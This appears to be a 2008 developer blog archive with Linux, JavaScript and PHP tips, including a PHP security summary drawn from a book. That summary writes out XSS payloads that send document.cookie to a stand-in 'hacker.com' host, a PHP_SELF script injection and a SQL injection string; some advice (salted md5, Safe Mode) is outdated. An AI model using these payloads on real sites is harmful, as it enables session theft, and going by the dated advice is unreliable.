Archive for March, 2008

Linux : Recursive grep on only php files

Monday, March 31st, 2008

This finds recursively and prints the name of all those php files containing the pattern my_pattern

grep -ri “my_pattern” /path/to/directory/*.php

This finds recursively and prints the name of all those php files containing the pattern my_pattern

find . -name *.php -exec grep -l “my_pattern” {} \;

Web Development Security

Friday, March 28th, 2008

The most of these notes come from this book:
Essential PHP Security, Chris Shiflett, O’Reilly, First Edition
ISBN: 0-596-00656-XX

Don’t underestimate a risk just because it’s impossible it happens: hackers are very clever and more expert than you. They could find a new bug.

Defence in Depth: if an hacker breaks one of your walls, it would be great if another wall stops him.

  • (page 9)
    It could be a good idea to use basename() and dirname() to filter filenames coming from outside the application when possible, because an hacker could use ‘..‘ to browse the filesystem.
  • (page 13)
    Filter any input data (from cookies, post, get and even database) and put it in a secure array called $clean_input, for example.
    Use this function to filter data to display (and put any variable in an array called $clean_output, for example) in order to avoid Cross-Site Scripting:

    htmlentities(…., ENT_QUOTES, ‘UTF-8′)

    the last argument must be the one used for the ‘Content-type’ meta tag

  • (page 22)
    When a file is uploaded, check you’re actually working on the uploaded one (an hacker could have manipulated the ‘tmp_name’ value)

    $filename = $_FILES[’….’][’tmp_name’];
    if ( is_uploaded_file($filename) ) { // anti-hacking check
    // all the operations on the file
    }
  • (page 28)
    Against CSRF (Cross-Site Request Forgery) attach:
    If a form performs an action:
    _ POST method rather than GET method (weak barrier)
    _ use a random token to validate the form, that could even expire after a certain time (in this way you’ll be sure the form has been actually submitted from your site and nobody is trying to mimic a form)
  • (page 33)
    Filter also data coming from the db because they could have been injected maliciously.
    Even the $_SERVER and $_ENV superglobals don’t actually contain data purely from the server and its environment. For instance, $_SERVER[’HTTP_HOST’] and $_SERVER[’REQUEST_URI’] both come directly from the client’s request. $_SERVER[’PHP_SELF’] comes from the client request for the page. Then, this code:

    <form action="< ?=$_SERVER['PHP_SELF']?>“>
    

    is vulnerable, infact $_SERVER[’PHP_SELF’] could contain:

    http://myapp.com/foo.php/"><script>alert("Hello!");</script>< 
  • (page 36):
    md5 by itself is not that secure anymore (http://md5.rednoize.com/). So salt it!

    $salt = ‘TRFFGTRE’;
    $password_hash = md5($salt . md5($password . $salt));
  • (page 43):
    Encrypt session data with the help of:
    session_set_save_handler()
  • (page 46)
    Session Fixation is when an hacker will provide a victim with an URL with a KNOWN session URL attached (for example in an email for the user to click on). After that, the hacker will try to visit the site using that session id and it could be possible they will be authenticate as the victim.
    Against that:
    session_regenerate_id() when there’s a change in user privileges (typically after a success login in)
  • (page 48)
    As a further protection against Session Thief there’s the checking of the HTTP-USER-AGENT HTTP Header (that you need to store as a session variable). This is the most reliable (but not completely!) header as the other ones (for example ‘Accept’) could change during the visitor navigation. As you can’t be 100% sure it’s an attack if the User Agent changes, just simply ask again for the password.

    To filter data use:
    ctype_alpha
    ctype_digit [all characters are digits, no point allowed]
    is_numeric

  • (page 66)
    To throttle the brute force attack in the authentication system, disable a user account after a certain number of failure.
  • (page 72)
    When you have a ‘remember me’ facility to allow users have a persistent login, you should change the cookie (in which there will be stored a session ID) every time the user visit the site (not on every page load, so you’ll need to set an interval). Then a potential cookie thief will not have access forever.
  • (page72)
    Change the session ID each time there’s a gaining in user permission so if there was a session theft, the thief can’t gain high privileges.

Misc:

  • SQL injection: use mysql_real_escape_string and cast to integer for integer! mysql_real_escape_string doesn’t do the job with integer. Infact
    mysql_query("SELECT * FROM test where id=" . $_GET['id']);
    

    and

    $_GET['id'] = "3; DELETE FROM test";
    

    (we are wrongly supposing mysql_query can execute more than one query)

  • If you expect to receive UTF8 from the browser, you should make sure it actually is, for example using utf8_encode.
  • Protect your admin area not just with PHP Authehtication but also with HTTP Authehtication
  • OpenSource Project: give to admin area a non-default URL
  • Best practise: consider all files stored within the Document Root to be public. Put as many files as possible out of the Document Root. The only files that should be stored within Document Root are those that absolutely must be accessible via URL.
  • Ask for the password again, before any very sensitive transaction
  • Class InputFilter with all the general purpose filtering (email address, telephone number, …) and a ‘check class’ for every class that inherits from InputFilter (for example - User_InputFilter with all the check methods for the class User that inherits from InputFilter,… )

Other more obvious:

  • keep everything updated
  • less privilege as possible
  • any file in the document root can be accessed directly (even if you mean to use it just as an included file). So more attention to PHP documents that haven’t got an extension recognize as a PHP extension by Apache. So, basically, give all the php files the php extension.
  • Semantic URL attack
  • Upload attack: try to upload a malicious PHP file
  • Filename manipulation for the includes
  • Command Injection

Allowing HTML
If you need to let your users insert HTML (for example though a WYSIWYG editor), you can end up with something like these:


<style>
body { display: none !important }
</style>

<script>
location.href = 'http://hacker.com/?cookies='+document.cookie;
</script>

The solution should be to use strip_tags that removes tag entities, leaving only those specified. But there can be these problems:


<b style="display: block;
	  postition: absolute;
	  top: 0px;
	  left: 0px;
	  width: 100%;
	  height: 100%;
	  background-color; #ffffff;">
Hello World!
</b>

<b onmouseover="location.href = 'http://hacker.com/?cookies=' + document.cookie;">hello world</b>

So we need to filter both by tag and by attribute.
You can use a whitelist that contains all the dangerous elements such as: script, onclick, style, onmousedown. Even better, rather that a list of what ypu don’t want (you need to update it with potential new JS methods), you can have a list of what you allow.
Another problem is balancing tags to fix stuff like these (user mistakes or malicious attempts):

<b>hello world
</div></div></div></div></div>hello world

Security in a Shared Hosting
But they could be very useful even on a non-shared environment in accordance with the principle of Defence in depth.

  • (page 75)
    Store all the sensitive data in the database. Yes, but where to store the credential for accessing the database in order not to be accessible by other users on the server?

    • Create a file /path/my.conf readable just by root. Put these lines in it:

      SetEnv DB_USER “myuser
      SetEnv DB_PASS “mypass
    • Then, in your httpd.conf, add this line:

      Include “/path/my.conf

    In this way, thanks to the SetEnv instruction, we have created some environment variables in Apache that can be used inside our PHP code.
    Then, our config.php (or however you want to call it) won’t contain the username and password for the database but something like this:

    $db_user = $_SERVER[’DB_USER’];
    $db_pass = $_SERVER[’DB_PASS’];

    Two notes:

    • The file /path/my.conf is readable just by root then the Apache children processes won’t be able to read it. But the main (father) process is owned by root (in order to access the port 80) so it will be able to read that file when loading the configuration.
    • Be very careful with phpinfo().Disable it (throught the disable_functions directive) because it displays all the environment variables and then also our password.
  • The session data is in /tmp then the other users could read/write it with a very simple script (because of the weak permission of that directory). Then it’s much better move the session data in the database. How to do that?

    • Create the table
    • redefine session_set_save_handler before calling the function session_start

    The rest of the code will not change!

  • The other users on the server could include your files (guessing the path) or use a script in their space to browse the files in your space (they can go to the /home directory to find out the usernames on the server), then you should consider all the source code on a shared environment to be public
    The directive Safe Mode set to on surely helps but keep in mind:

    • hacker could run script in other languages (Perl, Python,…)
    • it doesn’t prevent from reading files owned by the Web Server

Bullet Collection for Unordered List

Tuesday, March 25th, 2008

http://www.stylegala.com/features/bulletmadness/

Javascript - default value in function arguments

Saturday, March 22nd, 2008

Javascript doesn’t support default arguments for function.

But you can implement this feature using the function arguments this way:

// the second parameter ’submit’ is as it has ‘true’ as default value

// the second parameter 'submit' is as it has 'true' as default value
function verify_offer(form, submit){
        var do_submit = true;
        if (arguments.length > 1) {
            do_submit = false;
        }

        if (do_submit) {
	   form.submit();
        } else {
           return true;
        }
}

Debian multimedia format

Thursday, March 20th, 2008

http://debian-multimedia.org/

After updating your repos, launch:

apt-get install debian-multimedia-keyring
apt-get update

HTML: Readonly checkbox

Monday, March 17th, 2008

<input onclick=”javascript: return false;” name=”my_name” type=”checkbox” value=”yes” />

image_type_to_extension - changing of the default value and behaviour

Friday, March 14th, 2008

The Official PHP migration guide says the function image_type_to_extension is introduced by the version 5.2.

But I’m pretty sure I used it on version 5.1. And they change the $include_dot parameter from false (in the 5.1) to true. Moreover, now the return is not jpg but jpeg.

Incredible!

Web Development - while programming

Tuesday, March 11th, 2008
  • Value also the default values, even if the default value is as you like. Infact they could change the default value along versions.
  • Use GET as a method for the forms that doesn’t send any important information but they act just as a filter. This is good:
    • In the case of reloading of the page, the form is still the same
    • It’s easier to manage in the case there are also links that submit the form (all the filter values will be in the GET array)
  • When you submit a form or a page that should perform an action, take into account that the user could submit it a long time after the loading of it, so the situation of the system could have been changed in the meantime. Then in the action page do the proper checks.

Javascript foreach equivalent

Sunday, March 9th, 2008
var arr = ['uno', 'due', 'tre'];
for (var i in arr) {
       alert(arr[i]);
}

var is very important, otherwise you’ll get an error in IE.

Imagemagick: Batch Resize Photos Recursively

Thursday, March 6th, 2008
apt-get install imagemagick

I’ll resize recursively all the photos with .jpg extension in a square frame 700×700 retaining the ratio:

find ./ -name “*.jpg” -exec mogrify -resize 700×700 {} \;